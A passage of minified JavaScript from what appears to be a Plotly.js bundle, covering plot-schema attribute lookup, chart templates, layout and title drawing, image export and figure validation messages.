J=_[1];if(!T(J)||J>=G.length)return!1;z=(M.transformsRegistry[G[J].type]||{}).attributes,N=z&&z[_[2]],O=3}else{var q=B._module;if(q||(q=(M.modules[B.type||o.type.dflt]||{})._module),!q)return!1;if(z=q.attributes,N=z&&z[F],!N){var ne=q.basePlotModule;ne&&ne.attributes&&(N=ne.attributes[F])}N||(N=o[F])}return v(N,_,O)},Z.getLayoutValObject=function(B,_){var F=i(B,_[0]);return v(F,_,1)};function i(B,_){var F,O,z,N,G=B._basePlotModules;if(G){var J;for(F=0;F<G.length;F++){if(z=G[F],z.attrRegex&&z.attrRegex.test(_)){if(z.layoutAttrOverrides)return z.layoutAttrOverrides;!J&&z.layoutAttributes&&(J=z.layoutAttributes)}var q=z.baseLayoutAttrOverrides;if(q&&_ in q)return q[_]}if(J)return J}var ne=B._modules;if(ne){for(F=0;F<ne.length;F++)if(N=ne[F].layoutAttributes,N&&_ in N)return N[_]}for(O in M.componentsRegistry){if(z=M.componentsRegistry[O],z.name==="colorscale"&&_.indexOf("coloraxis")===0)return z.layoutAttributes[_];if(!z.schema&&_===z.name)return z.layoutAttributes}return _ in L?L[_]:!1}function v(B,_,F){if(!B)return!1;if(B._isLinkedToArray){if(T(_[F]))F++;else if(F<_.length)return!1}for(;F<_.length;F++){var O=B[_[F]];if(f(O))B=O;else break;if(F===_.length-1)break;if(B._isLinkedToArray){if(F++,!T(_[F]))return!1}else if(B.valType==="info_array"){F++;var z=_[F];if(!T(z))return!1;var N=B.items;if(Array.isArray(N)){if(z>=N.length)return!1;if(B.dimensions===2){if(F++,_.length===F)return B;var G=_[F];if(!T(G))return!1;B=N[z][G]}else B=N[z]}else B=N}}return B}function T(B){return B===Math.round(B)&&B>=0}function w(B){var _,F;_=M.modules[B]._module,F=_.basePlotModule;var O={};O.type=null;var z=r({},o),N=r({},_.attributes);Z.crawl(N,function(q,ne,fe,X,W){l(z,W).set(void 0),q===void 0&&l(N,W).set(void 0)}),r(O,z),M.traceIs(B,"noOpacity")&&delete O.opacity,M.traceIs(B,"showLegend")||(delete O.showlegend,delete O.legendgroup),M.traceIs(B,"noHover")&&(delete O.hoverinfo,delete O.hoverlabel),_.selectPoints||delete O.selectedpoints,r(O,N),F.attributes&&r(O,F.attributes),O.type=B;var G={meta:_.meta||{},categories:_.categories||{},animatable:!!_.animatable,type:B,attributes:m(O)};if(_.layoutAttributes){var J={};r(J,_.layoutAttributes),G.layoutAttributes=m(J)}return _.animatable||Z.crawl(G,function(q){Z.isValObject(q)&&"anim"in q&&delete q.anim}),G}function E(){var B={},_,F;r(B,L);for(_ in M.subplotsRegistry)if(F=M.subplotsRegistry[_],!!F.layoutAttributes)if(Array.isArray(F.attr))for(var O=0;O<F.attr.length;O++)I(B,F,F.attr[O]);else{var z=F.attr==="subplot"?F.name:F.attr;I(B,F,z)}for(_ in M.componentsRegistry){F=M.componentsRegistry[_];var N=F.schema;if(N&&(N.subplots||N.layout)){var G=N.subplots;if(G&&G.xaxis&&!G.yaxis)for(var J in G.xaxis)delete B.yaxis[J];delete B.xaxis.shift,delete B.xaxis.autoshift}else F.name==="colorscale"?r(B,F.layoutAttributes):F.layoutAttributes&&k(B,F.layoutAttributes,F.name)}return{layoutAttributes:m(B)}}function p(B){var _=M.transformsRegistry[B],F=r({},_.attributes);return Object.keys(M.componentsRegistry).forEach(function(O){var z=M.componentsRegistry[O];z.schema&&z.schema.transforms&&z.schema.transforms[B]&&Object.keys(z.schema.transforms[B]).forEach(function(N){k(F,z.schema.transforms[B][N],N)})}),{attributes:m(F)}}function A(){var B={frames:r({},S)};return m(B),B.frames}function m(B){return n(B),C(B),x(B),B}function n(B){function _(O){return{valType:"string",editType:"none"}}function F(O,z,N){Z.isValObject(O)?(O.arrayOk===!0||O.valType==="data_array")&&(N[z+"src"]=_()):f(O)&&(O.role="object")}Z.crawl(B,F)}function C(B){function _(F,O,z){if(F){var N=F[y];N&&(delete F[y],z[O]={items:{}},z[O].items[N]=F,z[O].role="object")}}Z.crawl(B,_)}function x(B){function _(F){for(var O in F)if(f(F[O]))_(F[O]);else if(Array.isArray(F[O]))for(var z=0;z<F[O].length;z++)_(F[O][z]);else F[O]instanceof RegExp&&(F[O]=F[O].toString())}_(B)}function I(B,_,F){var O=l(B,F),z=r({},_.layoutAttributes);z[s]=!0,O.set(z)}function k(B,_,F){var O=l(B,F);O.set(r(O.get()||{},_))}},44467:function(te,Z,e){var M=e(71828),P=e(9012),o="templateitemname",L={name:{valType:"string",editType:"none"}};L[o]={valType:"string",editType:"calc"},Z.templatedArray=function(g,t){return t._isLinkedToArray=g,t.name=L.name,t[o]=L[o],t},Z.traceTemplater=function(g){var t={},r,f;for(r in g)f=g[r],Array.isArray(f)&&f.length&&(t[r]=0);function a(l){r=M.coerce(l,{},P,"type");var u={type:r,_template:null};if(r in t){f=g[r];var s=t[r]%f.length;t[r]++,u._template=f[s]}return u}return{newTrace:a}},Z.newContainer=function(g,t,r){var f=g._template,a=f&&(f[t]||r&&f[r]);M.isPlainObject(a)||(a=null);var l=g[t]={_template:a};return l},Z.arrayTemplater=function(g,t,r){var f=g._template,a=f&&f[d(t)],l=f&&f[t];(!Array.isArray(l)||!l.length)&&(l=[]);var u={};function s(c){var b={name:c.name,_input:c},h=b[o]=c[o];if(!S(h))return b._template=a,b;for(var i=0;i<l.length;i++){var v=l[i];if(v.name===h)return u[h]=1,b._template=v,b}return b[r]=c[r]||!1,b._template=!1,b}function y(){for(var c=[],b=0;b<l.length;b++){var h=l[b],i=h.name;if(S(i)&&!u[i]){var v={_template:h,name:i,_input:{_templateitemname:i}};v[o]=h[o],c.push(v),u[i]=1}}return c}return{newItem:s,defaultItems:y}};function S(g){return g&&typeof g=="string"}function d(g){var t=g.length-1;return g.charAt(t)!=="s"&&M.warn("bad argument to arrayDefaultKey: "+g),g.substr(0,g.length-1)+"defaults"}Z.arrayDefaultKey=d,Z.arrayEditor=function(g,t,r){var f=(M.nestedProperty(g,t).get()||[]).length,a=r._index,l=a>=f&&(r._input||{})._templateitemname;l&&(a=f);var u=t+"["+a+"]",s;function y(){s={},l&&(s[u]={},s[u][o]=l)}y();function c(v,T){s[v]=T}function b(v,T){l?M.nestedProperty(s[u],v).set(T):s[u+"."+v]=T}function h(){var v=s;return y(),v}function i(v,T){v&&b(v,T);var w=h();for(var E in w)M.nestedProperty(g,E).set(w[E])}return{modifyBase:c,modifyItem:b,getUpdateObj:h,applyUpdate:i}}},61549:function(te,Z,e){var M=e(39898),P=e(73972),o=e(74875),L=e(71828),S=e(63893),d=e(33306),g=e(7901),t=e(91424),r=e(92998),f=e(64168),a=e(89298),l=e(18783),u=e(99082),s=u.enforce,y=u.clean,c=e(71739).doAutoRange,b="start",h="middle",i="end";Z.layoutStyles=function(F){return L.syncOrAsync([o.doAutoMargin,T],F)};function v(F,O,z){for(var N=0;N<z.length;N++){var G=z[N][0],J=z[N][1];if(!(G[0]>=F[1]||G[1]<=F[0])&&J[0]<O[1]&&J[1]>O[0])return!0}return!1}function T(F){var O=F._fullLayout,z=O._size,N=z.p,G=a.list(F,"",!0),J,q,ne,fe,X,W;if(O._paperdiv.style({width:F._context.responsive&&O.autosize&&!F._context._hasZeroWidth&&!F.layout.width?"100%":O.width+"px",height:F._context.responsive&&O.autosize&&!F._context._hasZeroHeight&&!F.layout.height?"100%":O.height+"px"}).selectAll(".main-svg").call(t.setSize,O.width,O.height),F._context.setBackground(F,O.paper_bgcolor),Z.drawMainTitle(F),f.manage(F),!O._has("cartesian"))return o.previousPromises(F);function V(ye,ae,de){var Me=ye._lw/2;if(ye._id.charAt(0)==="x"){if(ae){if(de==="top")return ae._offset-N-Me}else return z.t+z.h*(1-(ye.position||0))+Me%1;return ae._offset+ae._length+N+Me}if(ae){if(de==="right")return ae._offset+ae._length+N+Me}else return z.l+z.w*(ye.position||0)+Me%1;return ae._offset-N-Me}for(J=0;J<G.length;J++){fe=G[J];var Y=fe._anchorAxis;fe._linepositions={},fe._lw=t.crispRound(F,fe.linewidth,1),fe._mainLinePosition=V(fe,Y,fe.side),fe._mainMirrorPosition=fe.mirror&&Y?V(fe,Y,l.OPPOSITE_SIDE[fe.side]):null}var Q=[],ie=[],j=[],K=g.opacity(O.paper_bgcolor)===1&&g.opacity(O.plot_bgcolor)===1&&O.paper_bgcolor===O.plot_bgcolor;for(q in O._plots)if(ne=O._plots[q],ne.mainplot)ne.bg&&ne.bg.remove(),ne.bg=void 0;else{var oe=ne.xaxis.domain,re=ne.yaxis.domain,le=ne.plotgroup;if(v(oe,re,j)){var pe=le.node(),we=ne.bg=L.ensureSingle(le,"rect","bg");pe.insertBefore(we.node(),pe.childNodes[0]),ie.push(q)}else le.select("rect.bg").remove(),j.push([oe,re]),K||(Q.push(q),ie.push(q))}var xe=O._bgLayer.selectAll(".bg").data(Q);for(xe.enter().append("rect").classed("bg",!0),xe.exit().remove(),xe.each(function(ye){O._plots[ye].bg=M.select(this)}),J=0;J<ie.length;J++)ne=O._plots[ie[J]],X=ne.xaxis,W=ne.yaxis,ne.bg&&X._offset!==void 0&&W._offset!==void 0&&ne.bg.call(t.setRect,X._offset-N,W._offset-N,X._length+2*N,W._length+2*N).call(g.fill,O.plot_bgcolor).style("stroke-width",0);if(!O._hasOnlyLargeSploms)for(q in O._plots){ne=O._plots[q],X=ne.xaxis,W=ne.yaxis;var ke=ne.clipId="clip"+O._uid+q+"plot",_e=L.ensureSingleById(O._clips,"clipPath",ke,function(ye){ye.classed("plotclip",!0).append("rect")});ne.clipRect=_e.select("rect").attr({width:X._length,height:W._length}),t.setTranslate(ne.plot,X._offset,W._offset);var be,ge;ne._hasClipOnAxisFalse?(be=null,ge=ke):(be=ke,ge=null),t.setClipUrl(ne.plot,be,F),ne.layerClipId=ge}var Te,Fe,Oe,Ce,Be,$e,Xe,Ze,Ke,st,lt,ut,yt;function bt(ye){return"M"+Te+","+ye+"H"+Fe}function Ot(ye){return"M"+X._offset+","+ye+"h"+X._length}function Ge(ye){return"M"+ye+","+Ze+"V"+Xe}function Le(ye){return W._shift!==void 0&&(ye+=W._shift),"M"+ye+","+W._offset+"v"+W._length}function Pe(ye,ae,de){if(!ye.showline||q!==ye._mainSubplot)return"";if(!ye._anchorAxis)return de(ye._mainLinePosition);var Me=ae(ye._mainLinePosition);return ye.mirror&&(Me+=ae(ye._mainMirrorPosition)),Me}for(q in O._plots){ne=O._plots[q],X=ne.xaxis,W=ne.yaxis;var De="M0,0";w(X,q)&&(Be=p(X,"left",W,G),Te=X._offset-(Be?N+Be:0),$e=p(X,"right",W,G),Fe=X._offset+X._length+($e?N+$e:0),Oe=V(X,W,"bottom"),Ce=V(X,W,"top"),yt=!X._anchorAxis||q!==X._mainSubplot,yt&&(X.mirror==="allticks"||X.mirror==="all")&&(X._linepositions[q]=[Oe,Ce]),De=Pe(X,bt,Ot),yt&&X.showline&&(X.mirror==="all"||X.mirror==="allticks")&&(De+=bt(Oe)+bt(Ce)),ne.xlines.style("stroke-width",X._lw+"px").call(g.stroke,X.showline?X.linecolor:"rgba(0,0,0,0)")),ne.xlines.attr("d",De);var Ee="M0,0";w(W,q)&&(lt=p(W,"bottom",X,G),Xe=W._offset+W._length+(lt?N:0),ut=p(W,"top",X,G),Ze=W._offset-(ut?N:0),Ke=V(W,X,"left"),st=V(W,X,"right"),yt=!W._anchorAxis||q!==W._mainSubplot,yt&&(W.mirror==="allticks"||W.mirror==="all")&&(W._linepositions[q]=[Ke,st]),Ee=Pe(W,Ge,Le),yt&&W.showline&&(W.mirror==="all"||W.mirror==="allticks")&&(Ee+=Ge(Ke)+Ge(st)),ne.ylines.style("stroke-width",W._lw+"px").call(g.stroke,W.showline?W.linecolor:"rgba(0,0,0,0)")),ne.ylines.attr("d",Ee)}return a.makeClipPaths(F),o.previousPromises(F)}function w(F,O){return(F.ticks||F.showline)&&(O===F._mainSubplot||F.mirror==="all"||F.mirror==="allticks")}function E(F,O,z){if(!z.showline||!z._lw)return!1;if(z.mirror==="all"||z.mirror==="allticks")return!0;var N=z._anchorAxis;if(!N)return!1;var G=l.FROM_BL[O];return z.side===O?N.domain[G]===F.domain[G]:z.mirror&&N.domain[1-G]===F.domain[1-G]}function p(F,O,z,N){if(E(F,O,z))return z._lw;for(var G=0;G<N.length;G++){var J=N[G];if(J._mainAxis===z._mainAxis&&E(F,O,J))return J._lw}return 0}Z.drawMainTitle=function(F){var O=F._fullLayout.title,z=F._fullLayout,N=B(z),G=_(z),J=I(z,G),q=x(z,N);if(r.draw(F,"gtitle",{propContainer:z,propName:"title.text",placeholder:z._dfltTitle.plot,attributes:{x:q,y:J,"text-anchor":N,dy:G}}),O.text&&O.automargin){var ne=M.selectAll(".gtitle"),fe=t.bBox(ne.node()).height,X=n(F,O,fe);X>0&&(C(F,J,X,fe),ne.attr({x:q,y:J,"text-anchor":N,dy:k(O.yanchor)}).call(S.positionText,q,J))}};function A(F,O,z,N,G){var J=O.yref==="paper"?F._fullLayout._size.h:F._fullLayout.height,q=L.isTopAnchor(O)?N:N-G,ne=z==="b"?J-q:q;return L.isTopAnchor(O)&&z==="t"||L.isBottomAnchor(O)&&z==="b"?!1:ne<G}function m(F,O,z,N,G){var J=0;return z==="middle"&&(J+=G/2),F==="t"?(z==="top"&&(J+=G),J+=N-O*N):(z==="bottom"&&(J+=G),J+=O*N),J}function n(F,O,z){var N=O.y,G=O.yanchor,J=N>.5?"t":"b",q=F._fullLayout.margin[J],ne=0;return O.yref==="paper"?ne=z+O.pad.t+O.pad.b:O.yref==="container"&&(ne=m(J,N,G,F._fullLayout.height,z)+O.pad.t+O.pad.b),ne>q?ne:0}function C(F,O,z,N){var G="title.automargin",J=F._fullLayout.title,q=J.y>.5?"t":"b",ne={x:J.x,y:J.y,t:0,b:0},fe={};J.yref==="paper"&&A(F,J,q,O,N)?ne[q]=z:J.yref==="container"&&(fe[q]=z,F._fullLayout._reservedMargin[G]=fe),o.allowAutoMargin(F,G),o.autoMargin(F,G,ne)}function x(F,O){var z=F.title,N=F._size,G=0;switch(O===b?G=z.pad.l:O===i&&(G=-z.pad.r),z.xref){case"paper":return N.l+N.w*z.x+G;case"container":default:return F.width*z.x+G}}function I(F,O){var z=F.title,N=F._size,G=0;if(O==="0em"||!O?G=-z.pad.b:O===l.CAP_SHIFT+"em"&&(G=z.pad.t),z.y==="auto")return N.t/2;switch(z.yref){case"paper":return N.t+N.h-N.h*z.y+G;case"container":default:return F.height-F.height*z.y+G}}function k(F){return F==="top"?l.CAP_SHIFT+.3+"em":F==="bottom"?"-0.3em":l.MID_SHIFT+"em"}function B(F){var O=F.title,z=h;return L.isRightAnchor(O)?z=i:L.isLeftAnchor(O)&&(z=b),z}function _(F){var O=F.title,z="0em";return L.isTopAnchor(O)?z=l.CAP_SHIFT+"em":L.isMiddleAnchor(O)&&(z=l.MID_SHIFT+"em"),z}Z.doTraceStyle=function(F){var O=F.calcdata,z=[],N;for(N=0;N<O.length;N++){var G=O[N],J=G[0]||{},q=J.trace||{},ne=q._module||{},fe=ne.arraysToCalcdata;fe&&fe(G,q);var X=ne.editStyle;X&&z.push({fn:X,cd0:J})}if(z.length){for(N=0;N<z.length;N++){var W=z[N];W.fn(F,W.cd0)}d(F),Z.redrawReglTraces(F)}return o.style(F),P.getComponentMethod("legend","draw")(F),o.previousPromises(F)},Z.doColorBars=function(F){return P.getComponentMethod("colorbar","draw")(F),o.previousPromises(F)},Z.layoutReplot=function(F){var O=F.layout;return F.layout=void 0,P.call("_doPlot",F,"",O)},Z.doLegend=function(F){return P.getComponentMethod("legend","draw")(F),o.previousPromises(F)},Z.doTicksRelayout=function(F){return a.draw(F,"redraw"),F._fullLayout._hasOnlyLargeSploms&&(P.subplotsRegistry.splom.updateGrid(F),d(F),Z.redrawReglTraces(F)),Z.drawMainTitle(F),o.previousPromises(F)},Z.doModeBar=function(F){var O=F._fullLayout;f.manage(F);for(var z=0;z<O._basePlotModules.length;z++){var N=O._basePlotModules[z].updateFx;N&&N(F)}return o.previousPromises(F)},Z.doCamera=function(F){for(var O=F._fullLayout,z=O._subplots.gl3d,N=0;N<z.length;N++){var G=O[z[N]],J=G._scene;J.setViewport(G)}},Z.drawData=function(F){var O=F._fullLayout;d(F);for(var z=O._basePlotModules,N=0;N<z.length;N++)z[N].plot(F);return Z.redrawReglTraces(F),o.style(F),P.getComponentMethod("selections","draw")(F),P.getComponentMethod("shapes","draw")(F),P.getComponentMethod("annotations","draw")(F),P.getComponentMethod("images","draw")(F),O._replotting=!1,o.previousPromises(F)},Z.redrawReglTraces=function(F){var O=F._fullLayout;if(O._has("regl")){var z=F._fullData,N=[],G=[],J,q;for(O._hasOnlyLargeSploms&&O._splomGrid.draw(),J=0;J<z.length;J++){var ne=z[J];ne.visible===!0&&ne._length!==0&&(ne.type==="splom"?O._splomScenes[ne.uid].draw():ne.type==="scattergl"?L.pushUnique(N,ne.xaxis+ne.yaxis):ne.type==="scatterpolargl"&&L.pushUnique(G,ne.subplot))}for(J=0;J<N.length;J++)q=O._plots[N[J]],q._scene&&q._scene.draw();for(J=0;J<G.length;J++)q=O[G[J]]._subplot,q._scene&&q._scene.draw()}},Z.doAutoRangeAndConstraints=function(F){for(var O=a.list(F,"",!0),z,N={},G=0;G<O.length;G++)if(z=O[G],!N[z._id]){N[z._id]=1,y(F,z),c(F,z);var J=z._matchGroup;if(J)for(var q in J){var ne=a.getFromId(F,q);c(F,ne,z.range),N[q]=1}}s(F)},Z.finalDraw=function(F){P.getComponentMethod("rangeslider","draw")(F),P.getComponentMethod("rangeselector","draw")(F)},Z.drawMarginPushers=function(F){P.getComponentMethod("legend","draw")(F),P.getComponentMethod("rangeselector","draw")(F),P.getComponentMethod("sliders","draw")(F),P.getComponentMethod("updatemenus","draw")(F),P.getComponentMethod("colorbar","draw")(F)}},96318:function(te,Z,e){var M=e(71828),P=M.isPlainObject,o=e(86281),L=e(74875),S=e(9012),d=e(44467),g=e(72075).dfltConfig;Z.makeTemplate=function(c){c=M.isPlainObject(c)?c:M.getGraphDiv(c),c=M.extendDeep({_context:g},{data:c.data,layout:c.layout}),L.supplyDefaults(c);var b=c.data||[],h=c.layout||{};h._basePlotModules=c._fullLayout._basePlotModules,h._modules=c._fullLayout._modules;var i={data:{},layout:{}};b.forEach(function(x){var I={};f(x,I,l.bind(null,x));var k=M.coerce(x,{},S,"type"),B=i.data[k];B||(B=i.data[k]=[]),B.push(I)}),f(h,i.layout,a.bind(null,h)),delete i.layout.template;var v=h.template;if(P(v)){var T=v.layout,w,E,p,A,m,n;P(T)&&t(T,i.layout);var C=v.data;if(P(C)){for(E in i.data)if(p=C[E],Array.isArray(p)){for(m=i.data[E],n=m.length,A=p.length,w=0;w<n;w++)t(p[w%A],m[w]);for(w=n;w<A;w++)m.push(M.extendDeep({},p[w]))}for(E in C)E in i.data||(i.data[E]=M.extendDeep([],C[E]))}}return i};function t(c,b){c=M.extendDeep({},c);var h=Object.keys(c).sort(),i,v;function T(m,n,C){if(P(n)&&P(m))t(m,n);else if(Array.isArray(n)&&Array.isArray(m)){var x=d.arrayTemplater({_template:c},C);for(v=0;v<n.length;v++){var I=n[v],k=x.newItem(I)._template;k&&t(k,I)}var B=x.defaultItems();for(v=0;v<B.length;v++)n.push(B[v]._template);for(v=0;v<n.length;v++)delete n[v].templateitemname}}for(i=0;i<h.length;i++){var w=h[i],E=c[w];if(w in b?T(E,b[w],w):b[w]=E,r(w)===w)for(var p in b){var A=r(p);p!==A&&A===w&&!(p in c)&&T(E,b[p],w)}}}function r(c){return c.replace(/[0-9]+$/,"")}function f(c,b,h,i,v){var T=v&&h(v);for(var w in c){var E=c[w],p=u(c,w,i),A=u(c,w,v),m=h(A);if(!m){var n=r(w);n!==w&&(A=u(c,n,v),m=h(A))}if(!(T&&T===m)&&!(!m||m._noTemplating||m.valType==="data_array"||m.arrayOk&&Array.isArray(E)))if(!m.valType&&P(E))f(E,b,h,p,A);else if(m._isLinkedToArray&&Array.isArray(E))for(var C=!1,x=0,I={},k=0;k<E.length;k++){var B=E[k];if(P(B)){var _=B.name;if(_)I[_]||(f(B,b,h,u(E,x,p),u(E,x,A)),x++,I[_]=1);else if(!C){var F=d.arrayDefaultKey(w),O=u(c,F,i),z=u(E,x,p);f(B,b,h,z,u(E,x,A));var N=M.nestedProperty(b,z),G=M.nestedProperty(b,O);G.set(N.get()),N.set(null),C=!0}}}else{var J=M.nestedProperty(b,p);J.set(E)}}}function a(c,b){return o.getLayoutValObject(c,M.nestedProperty({},b).parts)}function l(c,b){return o.getTraceValObject(c,M.nestedProperty({},b).parts)}function u(c,b,h){var i;return h?Array.isArray(c)?i=h+"["+b+"]":i=h+"."+b:i=b,i}Z.validateTemplate=function(c,b){var h=M.extendDeep({},{_context:g,data:c.data,layout:c.layout}),i=h.layout||{};P(b)||(b=i.template||{});var v=b.layout,T=b.data,w=[];h.layout=i,h.layout.template=b,L.supplyDefaults(h);var E=h._fullLayout,p=h._fullData,A={};function m(O,z){for(var N in O)if(N.charAt(0)!=="_"&&P(O[N])){var G=r(N),J=[],q;for(q=0;q<z.length;q++)J.push(u(O,N,z[q])),G!==N&&J.push(u(O,G,z[q]));for(q=0;q<J.length;q++)A[J[q]]=1;m(O[N],J)}}function n(O,z){for(var N in O)if(N.indexOf("defaults")===-1&&P(O[N])){var G=u(O,N,z);A[G]?n(O[N],G):w.push({code:"unused",path:G})}}if(P(v)?(m(E,["layout"]),n(v,"layout")):w.push({code:"layout"}),!P(T))w.push({code:"data"});else{for(var C={},x,I=0;I<p.length;I++){var k=p[I];x=k.type,C[x]=(C[x]||0)+1,k._fullInput._template||w.push({code:"missing",index:k._fullInput.index,traceType:x})}for(x in T){var B=T[x].length,_=C[x]||0;B>_?w.push({code:"unused",traceType:x,templateCount:B,dataCount:_}):_>B&&w.push({code:"reused",traceType:x,templateCount:B,dataCount:_})}}function F(O,z){for(var N in O)if(N.charAt(0)!=="_"){var G=O[N],J=u(O,N,z);P(G)?(Array.isArray(O)&&G._template===!1&&G.templateitemname&&w.push({code:"missing",path:J,templateitemname:G.templateitemname}),F(G,J)):Array.isArray(G)&&s(G)&&F(G,J)}}if(F({data:p,layout:E},""),w.length)return w.map(y)};function s(c){for(var b=0;b<c.length;b++)if(P(c[b]))return!0}function y(c){var b;switch(c.code){case"data":b="The template has no key data.";break;case"layout":b="The template has no key layout.";break;case"missing":c.path?b="There are no templates for item "+c.path+" with name "+c.templateitemname:b="There are no templates for trace "+c.index+", of type "+c.traceType+".";break;case"unused":c.path?b="The template item at "+c.path+" was not used in constructing the plot.":c.dataCount?b="Some of the templates of type "+c.traceType+" were not used. The template has "+c.templateCount+" traces, the data only has "+c.dataCount+" of this type.":b="The template has "+c.templateCount+" traces of type "+c.traceType+" but there are none in the data.";break;case"reused":b="Some of the templates of type "+c.traceType+" were used more than once. The template has "+c.templateCount+" traces, the data has "+c.dataCount+" of this type.";break}return c.msg=b,c}},403:function(te,Z,e){var M=e(92770),P=e(72391),o=e(74875),L=e(71828),S=e(25095),d=e(5900),g=e(70942),t=e(11506).version,r={format:{valType:"enumerated",values:["png","jpeg","webp","svg","full-json"],dflt:"png"},width:{valType:"number",min:1},height:{valType:"number",min:1},scale:{valType:"number",min:0,dflt:1},setBackground:{valType:"any",dflt:!1},imageDataOnly:{valType:"boolean",dflt:!1}};function f(a,l){l=l||{};var u,s,y,c;L.isPlainObject(a)?(u=a.data||[],s=a.layout||{},y=a.config||{},c={}):(a=L.getGraphDiv(a),u=L.extendDeep([],a.data),s=L.extendDeep({},a.layout),y=a._context,c=a._fullLayout||{});function b(_){return!(_ in l)||L.validate(l[_],r[_])}if(!b("width")&&l.width!==null||!b("height")&&l.height!==null)throw new Error("Height and width should be pixel values.");if(!b("format"))throw new Error("Export format is not "+L.join2(r.format.values,", "," or ")+".");var h={};function i(_,F){return L.coerce(l,h,r,_,F)}var v=i("format"),T=i("width"),w=i("height"),E=i("scale"),p=i("setBackground"),A=i("imageDataOnly"),m=document.createElement("div");m.style.position="absolute",m.style.left="-5000px",document.body.appendChild(m);var n=L.extendFlat({},s);T?n.width=T:l.width===null&&M(c.width)&&(n.width=c.width),w?n.height=w:l.height===null&&M(c.height)&&(n.height=c.height);var C=L.extendFlat({},y,{_exportedPlot:!0,staticPlot:!0,setBackground:p}),x=S.getRedrawFunc(m);function I(){return new Promise(function(_){setTimeout(_,S.getDelay(m._fullLayout))})}function k(){return new Promise(function(_,F){var O=d(m,v,E),z=m._fullLayout.width,N=m._fullLayout.height;function G(){P.purge(m),document.body.removeChild(m)}if(v==="full-json"){var J=o.graphJson(m,!1,"keepdata","object",!0,!0);return J.version=t,J=JSON.stringify(J),G(),_(A?J:S.encodeJSON(J))}if(G(),v==="svg")return _(A?O:S.encodeSVG(O));var q=document.createElement("canvas");q.id=L.randstr(),g({format:v,width:z,height:N,scale:E,canvas:q,svg:O,promise:!0}).then(_).catch(F)})}function B(_){return A?_.replace(S.IMAGE_URL_PREFIX,""):_}return new Promise(function(_,F){P.newPlot(m,u,n,C).then(x).then(I).then(k).then(function(O){_(B(O))}).catch(function(O){F(O)})})}te.exports=f},84936:function(te,Z,e){var M=e(71828),P=e(74875),o=e(86281),L=e(72075).dfltConfig,S=M.isPlainObject,d=Array.isArray,g=M.isArrayOrTypedArray;te.exports=function(i,v){i===void 0&&(i=[]),v===void 0&&(v={});var T=o.get(),w=[],E={_context:M.extendFlat({},L)},p,A;d(i)?(E.data=M.extendDeep([],i),p=i):(E.data=[],p=[],w.push(l("array","data"))),S(v)?(E.layout=M.extendDeep({},v),A=v):(E.layout={},A={},arguments.length>1&&w.push(l("object","layout"))),P.supplyDefaults(E);for(var m=E._fullData,n=p.length,C=0;C<n;C++){var x=p[C],I=["data",C];if(!S(x)){w.push(l("object",I));continue}var k=m[C],B=k.type,_=T.traces[B].attributes;_.type={valType:"enumerated",values:[B]},k.visible===!1&&x.visible!==!1&&w.push(l("invisible",I)),t(x,k,_,w,I);var F=x.transforms,O=k.transforms;if(F){d(F)||w.push(l("array",I,["transforms"])),I.push("transforms");for(var z=0;z<F.length;z++){var N=["transforms",z],G=F[z].type;if(!S(F[z])){w.push(l("object",I,N));continue}var J=T.transforms[G]?T.transforms[G].attributes:{};J.type={valType:"enumerated",values:Object.keys(T.transforms)},t(F[z],O[z],J,w,I,N)}}}var q=E._fullLayout,ne=r(T,m);return t(A,q,ne,w,"layout"),w.length===0?void 0:w};function t(h,i,v,T,w,E){E=E||[];for(var p=Object.keys(h),A=0;A<p.length;A++){var m=p[A];if(m!=="transforms"){var n=E.slice();n.push(m);var C=h[m],x=i[m],I=s(v,m),k=(I||{}).valType,B=k==="info_array",_=k==="colorscale",F=(I||{}).items;if(!u(v,m))T.push(l("schema",w,n));else if(S(C)&&S(x)&&k!=="any")t(C,x,I,T,w,n);else if(B&&d(C)){C.length>x.length&&T.push(l("unused",w,n.concat(x.length)));var O=x.length,z=Array.isArray(F);z&&(O=Math.min(O,F.length));var N,G,J,q,ne;if(I.dimensions===2)for(G=0;G<O;G++)if(d(C[G])){C[G].length>x[G].length&&T.push(l("unused",w,n.concat(G,x[G].length)));var fe=x[G].length;for(N=0;N<(z?Math.min(fe,F[G].length):fe);N++)J=z?F[G][N]:F,q=C[G][N],ne=x[G][N],M.validate(q,J)?ne!==q&&ne!==+q&&T.push(l("dynamic",w,n.concat(G,N),q,ne)):T.push(l("value",w,n.concat(G,N),q))}else T.push(l("array",w,n.concat(G),C[G]));else for(G=0;G<O;G++)J=z?F[G]:F,q=C[G],ne=x[G],M.validate(q,J)?ne!==q&&ne!==+q&&T.push(l("dynamic",w,n.concat(G),q,ne)):T.push(l("value",w,n.concat(G),q))}else if(I.items&&!B&&d(C)){var X=F[Object.keys(F)[0]],W=[],V,Y;for(V=0;V<x.length;V++){var Q=x[V]._index||V;if(Y=n.slice(),Y.push(Q),S(C[Q])&&S(x[V])){W.push(Q);var ie=C[Q],j=x[V];S(ie)&&ie.visible!==!1&&j.visible===!1?T.push(l("invisible",w,Y)):t(ie,j,X,T,w,Y)}}for(V=0;V<C.length;V++)Y=n.slice(),Y.push(V),S(C[V])?W.indexOf(V)===-1&&T.push(l("unused",w,Y)):T.push(l("object",w,Y,C[V]))}else!S(C)&&S(x)?T.push(l("object",w,n,C)):!g(C)&&g(x)&&!B&&!_?T.push(l("array",w,n,C)):m in i?M.validate(C,I)?I.valType==="enumerated"&&(I.coerceNumber&&C!==+x||C!==x)&&T.push(l("dynamic",w,n,C,x)):T.push(l("value",w,n,C)):T.push(l("unused",w,n,C))}}return T}function r(h,i){for(var v=h.layout.layoutAttributes,T=0;T<i.length;T++){var w=i[T],E=h.traces[w.type],p=E.layoutAttributes;p&&(w.subplot?M.extendFlat(v[E.attributes.subplot.dflt],p):M.extendFlat(v,p))}return v}var f={object:function(h,i){var v;return h==="layout"&&i===""?v="The layout argument":h[0]==="data"&&i===""?v="Trace "+h[1]+" in the data argument":v=a(h)+"key "+i,v+" must be linked to an object container"},array:function(h,i){var v;return h==="data"?v="The data argument":v=a(h)+"key "+i,v+" must be linked to an array container"},schema:function(h,i){return a(h)+"key "+i+" is not part of the schema"},unused:function(h,i,v){var T=S(v)?"container":"key";return a(h)+T+" "+i+" did not get coerced"},dynamic:function(h,i,v,T){return[a(h)+"key",i,"(set to '"+v+"')","got reset to","'"+T+"'","during defaults."].join(" ")},invisible:function(h,i){return(i?a(h)+"item "+i:"Trace "+h[1])+" got defaulted to be not visible"},value:function(h,i,v){return[a(h)+"key "+i,"is set to an invalid value ("+v+")"].join(" ")}};function a(h){return d(h)?"In data trace "+h[1]+", ":"In "+h+", "}function l(h,i,v,T,w){v=v||"";var 